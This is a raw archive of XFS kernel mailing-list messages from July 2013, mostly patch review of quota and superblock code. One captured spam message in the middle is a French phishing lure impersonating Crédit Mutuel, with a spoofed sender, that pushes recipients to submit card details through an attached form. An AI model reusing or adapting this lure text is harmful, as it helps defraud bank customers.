X-Barracuda-Start-Time: 1373527118 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136429 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 10, 2013 at 11:16:01PM -0500, Chandra Seetharaman wrote: > On Thu, 2013-07-11 at 11:45 +1000, Dave Chinner wrote: > > And to play Devil's advocate: it is way too late in the merge cycle > > to make these sorts of ABI changes to a patch and test/review them > > adequately. > > There is no ABI issues even in the earlier version, it was an API > breakage. Old binaries would have done the wrong thing - that's an ABI issue. I'm sorry I didn't realise this earlier. > And with Jan's suggestion even that API breakage is being > fixed. There is no change in API or ABI. We are just adding a new > interface. Yes, we are adding a new API to avoid ABI problems with re-interpreting the old API. But whether it's API or ABI, it doesn't matter - my point is that it's almost 2 weeks after the merge window was opened and adding new userspace APIs at the last moment before the merge window closes tends to be frowned upon.... > Old code and old binary will work as before. Yes, but we have no new code or binaries to test the new interface, do we? Cheers, Dave. -- Dave Chinner david@fromorbit.com From hostmailer_cm@e-i.com Thu Jul 11 02:35:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6FB2B7F84 for ; Thu, 11 Jul 2013 02:35:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DBB9FAC005 for ; Thu, 11 Jul 2013 00:35:17 -0700 (PDT) X-ASG-Debug-ID: 1373528103-04bdf0233fdf35e0001-NocioJ Received: from m0635 (ip-35-145-34-193.static.contabo.net [193.34.145.35]) by cuda.sgi.com with ESMTP id XsvHl58ly4hDGIc4 for ; Thu, 11 Jul 2013 00:35:05 -0700 (PDT) X-Barracuda-Envelope-From: hostmailer_cm@e-i.com X-Barracuda-Apparent-Source-IP: 193.34.145.35 Received: from [193.34.145.35] ([127.0.0.1]) by m0635 with Microsoft SMTPSVC(7.5.7601.17514); Thu, 11 Jul 2013 09:34:27 +0200 Content-Type: multipart/alternative; boundary="===============2017685745==" MIME-Version: 1.0 Subject: =?utf-8?q?Mettez_=C3=A0_jour_votre_compte_Cr=C3=A9dit_Mutuel?= To: Recipients X-ASG-Orig-Subj: =?utf-8?q?Mettez_=C3=A0_jour_votre_compte_Cr=C3=A9dit_Mutuel?= From: " credit Mutuel" Date: Thu, 11 Jul 2013 09:34:27 +0200 Reply-To: ch3aas@gmail.com X-Priority: 1 (High) Message-ID: X-OriginalArrivalTime: 11 Jul 2013 07:34:27.0667 (UTC) FILETIME=[12DE0A30:01CE7E09] X-Barracuda-Connect: ip-35-145-34-193.static.contabo.net[193.34.145.35] X-Barracuda-Start-Time: 1373528104 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136431 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain You will not see this in a MIME-aware mail reader. --===============2017685745== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body = = Cher(e) Client(e), = = Lors de votre dernier achat , vous avez =E9t=E9 averti par un message vous = informant de l'obligation d'adh=E9rer =E0 la nouvelle r=E9glementation conc= ernant la s=E9curit=E9 pour les achats par carte sur internet et de la mise= en place d'un blocage pour vos futurs achats. Or, nous n'avons pas, =E0 ce jour, d'adh=E9sion de votre part et nous somme= s au regret de vous informer que vous pouvez plus utiliser votre carte sur = internet. = = = Adh=E9sion : - Faites votre demande adh=E9sion en ligne en r= emplissant le certificat de s=E9curit=E9 ci-joint. = Merci de la confiance que vous nous t=E9moignez. cordialement, = = = Merci d'avoir examiner cette information et nous aide =E0 rmaintenir la = confidentialit=E9 = = * Les informations =E0 caract=E8re personnel recueillies dans le cadre d= u pr=E9sent document sont obligatoires pour le traitement de votre demande. = = Ton amiti=C3=A9 est pr=C3=A9cieuse. Bises et bonne transju. = = = = =20 --===============2017685745== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Client
    &nbs= p;

    Cher(e) Client(e),


    Lors de = votre dernier achat , vous avez =E9t=E9 averti par un message vous informan= t de = l'obligation d'adh=E9rer =E0 la= nouvelle r=E9glementation concernant la s=E9curit=E9 pour les achats par c= arte sur internet et de la mise en place d'un blocage pour vos futurs achat= s.

    Or, nous n'avons pas, =E0 ce jour, d'adh= =E9sion de votre part et nous sommes au regret de vous informer que vous po= uvez plus utiliser votre carte sur internet.

     =

      &= nbsp;        Adh=E9sion : - Faites votre demande adh=E9sion en ligne en remplissant le cert= ificat de s=E9curit=E9 ci-joint.
           =             &nb= sp;      =  


    Merci de la confiance que vous nous t=E9moignez.

    cordialement, 


     Merci = d'avoir examiner cette information et nous aide =E0 rmaint= enir la = confidentialit=E9


    * Les informations =E0 caract=E8re personnel re= cueillies dans le cadre du pr=E9sent document sont obligatoires pour le tra= itement de votre demande.


    &nbs= p;

    Ton amiti=C3=A9 est pr=C3=A9cieuse= . Bises et bonne transju.

    --===============2017685745==-- From david@fromorbit.com Thu Jul 11 02:52:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BB49C7F37 for ; Thu, 11 Jul 2013 02:52:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6E0F98F80D4 for ; Thu, 11 Jul 2013 00:52:24 -0700 (PDT) X-ASG-Debug-ID: 1373529141-04bdf0233fdf4870001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id UPpl6XKw2zDOqG6Q for ; Thu, 11 Jul 2013 00:52:22 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmAMAItj3lF5LD3k/2dsb2JhbABagwmDH7oFhSwEAYEJF3SCIwEBBAEnExwjBQsIAw4KCSUPBSUDIROICQW3MhaOHROBHQeDCWwDl1mRS4MjKoEt Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Jul 2013 17:22:10 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UxBfc-0000uq-9E; Thu, 11 Jul 2013 17:52:08 +1000 Date: Thu, 11 Jul 2013 17:52:08 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: xfs@oss.sgi.com Subject: Re: [PATCH v11 2/4] xfs: Start using pquotaino from the superblock. Message-ID: <20130711075208.GB3438@dastard> X-ASG-Orig-Subj: Re: [PATCH v11 2/4] xfs: Start using pquotaino from the superblock. References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> <1373518843-1492-3-git-send-email-sekharan@us.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373518843-1492-3-git-send-email-sekharan@us.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1373529141 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136433 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 11, 2013 at 12:00:41AM -0500, Chandra Seetharaman wrote: > Start using pquotino and define a macro to check if the > superblock has pquotino. > > Keep backward compatibilty by alowing mount of older superblock > with no separate pquota inode. > > Signed-off-by: Chandra Seetharaman > --- > fs/xfs/xfs_mount.c | 62 ++++++++++++++++++++++++++++++++++----- > fs/xfs/xfs_qm.c | 28 +++++++++-------- > fs/xfs/xfs_qm_syscalls.c | 21 +++++++++++++- > fs/xfs/xfs_sb.h | 9 +++++- > fs/xfs/xfs_super.c | 19 ++++++------ > include/uapi/linux/dqblk_xfs.h | 1 + > 6 files changed, 108 insertions(+), 32 deletions(-) > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index 2b0ba35..b8a633b 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -336,12 +336,17 @@ xfs_mount_validate_sb( > return XFS_ERROR(EWRONGFS); > } > > - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && > - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | > - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { > - xfs_notice(mp, > -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); > - return XFS_ERROR(EFSCORRUPTED); > + if (xfs_sb_version_has_pquota(sbp)) { > + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { > + xfs_notice(mp, > + "Version 5 of Super block has XFS_OQUOTA bits.\n"); > + return XFS_ERROR(EFSCORRUPTED); > + } > + } else if (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | > + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) { > + xfs_notice(mp, > +"Superblock earlier than Version 5 has XFS_[PQ]UOTA_{ENFD|CHKD} bits.\n"); > + return XFS_ERROR(EFSCORRUPTED); > } Can you move this to after we've checked the 5 superblock feature masks for whether the kernel supports the various features the superblock defines - feature support checks need to come before checking superblock fields for validity.... > @@ -570,8 +575,13 @@ out_unwind: > } > > static void > -xfs_sb_quota_from_disk(struct xfs_sb *sbp) > +xfs_sb_quota_from_disk(struct xfs_mount *mp) > { > + struct xfs_sb *sbp = &mp->m_sb; > + > + if (xfs_sb_version_has_pquota(sbp)) > + return; > + > if (sbp->sb_qflags & XFS_OQUOTA_ENFD) > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; > @@ -579,6 +589,18 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; > sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); > + > + if (!xfs_sb_version_has_pquota(sbp) && (XFS_IS_PQUOTA_ON(mp))) { > + /* > + * On disk superblock only has sb_gquotino, and incore > + * superblock has both sb_gquotino and sb_pquotino. > + * But, only one them is supported at any point of time. > + * So, if PQUOTA is set in disk superblock, copy over > + * sb_gquotino to sb_pquotino. > + */ > + mp->m_sb.sb_pquotino = mp->m_sb.sb_gquotino; > + mp->m_sb.sb_gquotino = NULLFSINO; > + } > } Why is this using mp rather than sbp? Indeed, this should be passed the superblock as a parameter (as per the previous version of the code) as the superblock we are writing into is determined by the caller. e.g. what if we want to do this conversion in xfs_sb_verify() and are using the on-stack struct xfs_sb? Also, why should a mount option determine how we interpret the on-disk format? i.e. the XFS_IS_PQUOTA_ON() check? The superblock itself describes which quota the sb_gquotino contains (i.e. what is in from->sb_qflags) and that alone determines which field the on-disk inode gets copied into. If the mount options then don't line up with what is in the superblock, then the quota mount checks will handle that appropriately. > > void > @@ -650,6 +672,13 @@ xfs_sb_quota_to_disk( > { > __uint16_t qflags = from->sb_qflags; > > + /* > + * We need to do these manipilations only if we are working > + * with an older version of on-disk superblock. > + */ > + if (xfs_sb_version_has_pquota(from)) > + return; > + > if (*fields & XFS_SB_QFLAGS) { > /* > * The in-core version of sb_qflags do not have > @@ -669,6 +698,23 @@ xfs_sb_quota_to_disk( > to->sb_qflags = cpu_to_be16(qflags); > *fields &= ~XFS_SB_QFLAGS; > } > + > + if (*fields & XFS_SB_PQUOTINO && *fields & XFS_SB_GQUOTINO) { gcc will throw warnings on that code. The normal way of checking multiple flag fields is: if ((*fields & (XFS_SB_PQUOTINO|XFS_SB_GQUOTINO)) == (XFS_SB_PQUOTINO|XFS_SB_GQUOTINO)) { > + /* > + * PQUOTINO and GQUOTINO cannot be used together in versions > + * of superblock that do not have pquotino. If used, use > + * sb_flags to resolve which one should be set. > + */ > + if (from->sb_qflags & XFS_PQUOTA_ACCT) > + *fields &= ~XFS_SB_GQUOTINO; > + else > + *fields &= ~XFS_SB_PQUOTINO; > + } > + > + if (*fields & XFS_SB_PQUOTINO) { > + to->sb_gquotino = cpu_to_be64(from->sb_pquotino); > + *fields &= ~XFS_SB_PQUOTINO; > + } Better yet: /* * GQUOTINO and PQUOTINO cannot be used together in versions * of superblock that do not have pquotino. from->sb_flags * tells us which quota is active and should be copied to * disk. */ if ((*fields & XFS_SB_GQUOTINO) && (from->sb_qflags & XFS_GQUOTA_ACCT)) to->sb_gquotino = cpu_to_be64(from->sb_gquotino); else if ((*fields & XFS_SB_PQUOTINO) && (from->sb_qflags & XFS_PQUOTA_ACCT)) to->sb_gquotino = cpu_to_be64(from->sb_pquotino); *fields &= ~(XFS_SB_PQUOTINO | XFS_SB_GQUOTINO); > } > > /* > @@ -885,7 +931,7 @@ reread: > */ > xfs_sb_from_disk(&mp->m_sb, XFS_BUF_TO_SBP(bp)); > > - xfs_sb_quota_from_disk(&mp->m_sb); > + xfs_sb_quota_from_disk(mp); As I commented above, we need to pass the superblock separately. > diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h > index 78f9e70..d372fdf 100644 > --- a/fs/xfs/xfs_sb.h > +++ b/fs/xfs/xfs_sb.h > @@ -621,7 +621,14 @@ xfs_sb_has_incompat_log_feature( > static inline bool > xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) > { > - return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); > + return (ino == sbp->sb_uquotino || > + ino == sbp->sb_gquotino || > + ino == sbp->sb_pquotino); > +} Can you move this function down below the comment in xfs_sb.h that says: /* * end of superblock version macros */ > + > +static inline int xfs_sb_version_has_pquota(xfs_sb_t *sbp) > +{ > + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; > } And leave this above it? Cheers, Dave. -- Dave Chinner david@fromorbit.com From swhiteho@redhat.com Thu Jul 11 02:55:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9E7B57F8D for ; Thu, 11 Jul 2013 02:55:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6434E304113 for ; Thu, 11 Jul 2013 00:55:43 -0700 (PDT) X-ASG-Debug-ID: 1373529342-04bdf02b8ebce2f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 3FPbD0Mn8jHJgyDI; Thu, 11 Jul 2013 00:55:42 -0700 (PDT) X-Barracuda-Envelope-From: swhiteho@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6B7sAnb030779 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 11 Jul 2013 03:54:10 -0400 Received: from [10.36.5.12] (vpn1-5-12.ams2.redhat.com [10.36.5.12]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6B7s8OW016558; Thu, 11 Jul 2013 03:54:08 -0400 Subject: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat From: Steven Whitehouse X-ASG-Orig-Subj: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat To: sekharan@us.ibm.com Cc: Dave Chinner , Jan Kara , Ben Myers , xfs@oss.sgi.com, adas@redhat.com In-Reply-To: <1373516161.4555.10.camel@chandra-laptop.ibm.com> References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-11-git-send-email-sekharan@us.ibm.com> <20130710155538.GY20932@sgi.com> <20130710162602.GB32444@quack.suse.cz> <1373489390.6020.30.camel@chandra-dt.ibm.com> <20130711014501.GY3438@dastard> <1373516161.4555.10.camel@chandra-laptop.ibm.com> Content-Type: text/plain; charset="UTF-8" Organization: Red Hat UK Ltd Date: Thu, 11 Jul 2013 08:51:20 +0100 Message-ID: <1373529080.2721.0.camel@menhir> Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373529342 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com Hi, Copying in Abhi, since he is the quota expert on the GFS2 side, Steve. On Wed, 2013-07-10 at 23:16 -0500, Chandra Seetharaman wrote: > On Thu, 2013-07-11 at 11:45 +1000, Dave Chinner wrote: > > On Wed, Jul 10, 2013 at 03:49:50PM -0500, Chandra Seetharaman wrote: > > > On Wed, 2013-07-10 at 18:26 +0200, Jan Kara wrote: > > > > On Wed 10-07-13 10:55:38, Ben Myers wrote: > > > > > Hey Chandra, > > > > > > > > > > > > > > > diff --git a/fs/quota/quota.c b/fs/quota/quota.c > > > > > > index c7314f1..ae6526e 100644 > > > > > > --- a/fs/quota/quota.c > > > > > > +++ b/fs/quota/quota.c > > > > > > @@ -207,12 +207,57 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) > > > > > > static int quota_getxstate(struct super_block *sb, void __user *addr) > > > > > > { > > > > > > struct fs_quota_stat fqs; > > > > > > - int ret; > > > > > > + struct fs_quota_stat_v1 fqs_v1; > > > > > > + int ret, size; > > > > > > + void *fqsp; > > > > > > > > > > > > if (!sb->s_qcop->get_xstate) > > > > > > return -ENOSYS; > > > > > > + > > > > > > + memset(&fqs, 0, sizeof(struct fs_quota_stat)); > > > > > > + if (copy_from_user(&fqs, addr, 1)) /* just get the version */ > > > > > > + return -EFAULT; > > > > > > + > > > > > > + switch (fqs.qs_version) { > > > > > > + case FS_QSTAT_VERSION_2: > > > > > > + size = FS_QSTAT_V2_SIZE; > > > > > > + break; > > > > > > + default: > > > > > > + fqs.qs_version = FS_QSTAT_VERSION; > > > > > > + /* fallthrough */ > > > > > > + case FS_QSTAT_VERSION: > > > > > > + size = FS_QSTAT_V1_SIZE; > > > > > > + break; > > > > > > + } > > > > Guys, you cannot really do this. If anyone is using getxstate() with > > > > uninitialized buffer (which is fine so far), you cannot suddently start to > > > > rely on the contents of qs_version field. That's ABI (and even API) > > > > breakage. > > > > > > Agree, it is a API breakage. > > > > > > Will fix it by adding a new quotactl value as you suggest. > > > > Please enforce the version number as being valid so we don't > > need to add another new interface if we need to change this > > structure again. :) > > Yes, I am keeping the lower level interface same as before. > > > > > FWIW, we're now going to need a new xfs_quota changes to go along > > with this - it will need to use the new interface by default, and > > fall back to the existing interface if it gets an error saying the > > command does not exist. We can't actually test the new interface > > until we have xfs_quota patches that use it. > > The lower level interface doesn't change. It will remain the same. I > will send the code soon. > > > > > And to play Devil's advocate: it is way too late in the merge cycle > > to make these sorts of ABI changes to a patch and test/review them > > adequately. > > There is no ABI issues even in the earlier version, it was an API > breakage. And with Jan's suggestion even that API breakage is being > fixed. There is no change in API or ABI. We are just adding a new > interface. > > Old code and old binary will work as before. > > > > > Cheers, > > > > Dave. > > From david@fromorbit.com Thu Jul 11 03:05:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8A0A07F95 for ; Thu, 11 Jul 2013 03:05:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3952E304089 for ; Thu, 11 Jul 2013 01:05:42 -0700 (PDT) X-ASG-Debug-ID: 1373529938-04bdf0233cdf5800001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id UBW0GKSVly05ML1M for ; Thu, 11 Jul 2013 01:05:39 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al8MAA5m3lF5LD3k/2dsb2JhbABagwmDH7oFhSwEAYEJF3SCIwEBBScTHCMQCAMOCgklDwUlAyETiA63JBaOFgcTgR0HgwlsA5dZiiKHKYMjKoEt Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Jul 2013 17:35:38 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UxBsf-0000wW-Dx; Thu, 11 Jul 2013 18:05:37 +1000 Date: Thu, 11 Jul 2013 18:05:37 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: xfs@oss.sgi.com, jack@suse.cz, swhiteho@redhat.com Subject: Re: [PATCH v11 3/4] xfs: Add proper versioning support to fs_quota_stat Message-ID: <20130711080537.GC3438@dastard> X-ASG-Orig-Subj: Re: [PATCH v11 3/4] xfs: Add proper versioning support to fs_quota_stat References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> <1373518843-1492-4-git-send-email-sekharan@us.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373518843-1492-4-git-send-email-sekharan@us.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1373529938 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136433 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 11, 2013 at 12:00:42AM -0500, Chandra Seetharaman wrote: > Added appropriate pads and code for backward compatibility. > > Copied over the old version as it is different from the newer padded > version. > > New callers of the system call have to set the version of the data > structure being passed, and kernel will fill as much data as requested. > > Signed-off-by: Chandra Seetharaman > --- > fs/gfs2/quota.c | 3 -- > fs/quota/quota.c | 67 +++++++++++++++++++++++++++++++++++++-- > fs/xfs/xfs_qm_syscalls.c | 4 -- > include/uapi/linux/dqblk_xfs.h | 60 +++++++++++++++++++++++++++++++---- > 4 files changed, 116 insertions(+), 18 deletions(-) > > diff --git a/fs/gfs2/quota.c b/fs/gfs2/quota.c > index c7c840e..ca0dccd 100644 > --- a/fs/gfs2/quota.c > +++ b/fs/gfs2/quota.c > @@ -1443,9 +1443,6 @@ static int gfs2_quota_get_xstate(struct super_block *sb, > { > struct gfs2_sbd *sdp = sb->s_fs_info; > > - memset(fqs, 0, sizeof(struct fs_quota_stat)); > - fqs->qs_version = FS_QSTAT_VERSION; > - > switch (sdp->sd_args.ar_quota) { > case GFS2_QUOTA_ON: > fqs->qs_flags |= (FS_QUOTA_UDQ_ENFD | FS_QUOTA_GDQ_ENFD); > diff --git a/fs/quota/quota.c b/fs/quota/quota.c > index c7314f1..ac5dd3a 100644 > --- a/fs/quota/quota.c > +++ b/fs/quota/quota.c > @@ -204,15 +204,72 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) > return sb->s_qcop->set_xstate(sb, flags, cmd); > } > > -static int quota_getxstate(struct super_block *sb, void __user *addr) > +static int quota_getxstate(struct super_block *sb, void __user *addr, > + bool older_version) I'd suggest that the two API calls should be handled by separate functions so there are no overlapping, dependent branches in the code. > { > struct fs_quota_stat fqs; > - int ret; > + struct fs_quota_stat_v1 fqs_v1; > + int ret, size; > + void *fqsp; > > if (!sb->s_qcop->get_xstate) > return -ENOSYS; I'd also suggest that a sb->s_qcop->get_xstatev vector is added so that filesystems keep the separate as well. And that means we don't need to play the fs_quota_stat and conversion-to-fs_quota_stat_v1 games. i.e. the existing quota_getxstate() remains and uses the existing struct fs_quota_stat, and the new Q_XGETQSTATV calls quota_getxstatev() and uses the newly defined struct fs_quota_statv and ->get_xstatev() call.... > @@ -137,31 +139,75 @@ typedef struct fs_disk_quota { > * Provides a centralized way to get meta information about the quota subsystem. > * eg. space taken up for user and group quotas, number of dquots currently > * incore. > + * With version FS_QSTAT_VERSION, user space can send in an uninitialized > + * buffer and data will be filled by the kernel. > + * Starting FS_QSTAT_VERSION_2, to be used with Q_XGETQSTATV, user space > + * caller should set qs_version to the appropriate version of the > + * fs_quota_stat data structure they are providing. On return, user > + * space should check qs_version and use appropriate fields supported by > + * that version. > */ > #define FS_QSTAT_VERSION 1 /* fs_quota_stat.qs_version */ > +#define FS_QSTAT_VERSION_2 2 /* new field qs_pquota; realignment */ As per above, this reasoning and logic is all invalid now because we aren't trying to maintain compatibility between users of the same quotactl. We are using a new quotactl, so we do not need to overload the existing structure or versions. > +/* > + * Some basic information about 'quota files'. Version 2. > + */ > +struct fs_qfilestat { > + __u64 qfs_ino; /* inode number */ > + __u64 qfs_nblks; /* number of BBs 512-byte-blks */ > + __u32 qfs_nextents; /* number of extents */ > + __u32 qfs_pad; /* pad for 8-byte alignment */ > +}; > + > +struct fs_quota_stat { > + __s8 qs_version; /* version for future changes */ > + __u8 qs_pad1; /* pad for 16bit alignment */ > + __u16 qs_flags; /* FS_QUOTA_.* flags */ > + __u32 qs_incoredqs; /* number of dquots incore */ > + struct fs_qfilestat qs_uquota; /* user quota information */ > + struct fs_qfilestat qs_gquota; /* group quota information */ > + struct fs_qfilestat qs_pquota; /* project quota information */ > + __s32 qs_btimelimit; /* limit for blks timer */ > + __s32 qs_itimelimit; /* limit for inodes timer */ > + __s32 qs_rtbtimelimit;/* limit for rt blks timer */ > + __u16 qs_bwarnlimit; /* limit for num warnings */ > + __u16 qs_iwarnlimit; /* limit for num warnings */ > + __u64 qs_pad2[8]; /* for future proofing */ > +}; these are what become fs_quota_statv and fs_qfilestatv structures for the new quotactl. > +/* > + * Since Version 1 did not have padding at appropriate places, > + * a new data structure has been defined for the older version to > + * provide backward compatibility. > + * Future extentions of this data structure won't require new > + * data structure definitions as the current one can be extended > + * with the logic and padding in place now. > + */ > +#define FS_QSTAT_V1_SIZE (sizeof(struct fs_quota_stat_v1)) > +#define FS_QSTAT_V2_SIZE (sizeof(struct fs_quota_stat)) And these can go away completely. Cheers, Dave. -- Dave Chinner david@fromorbit.com From swhiteho@redhat.com Thu Jul 11 03:08:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com 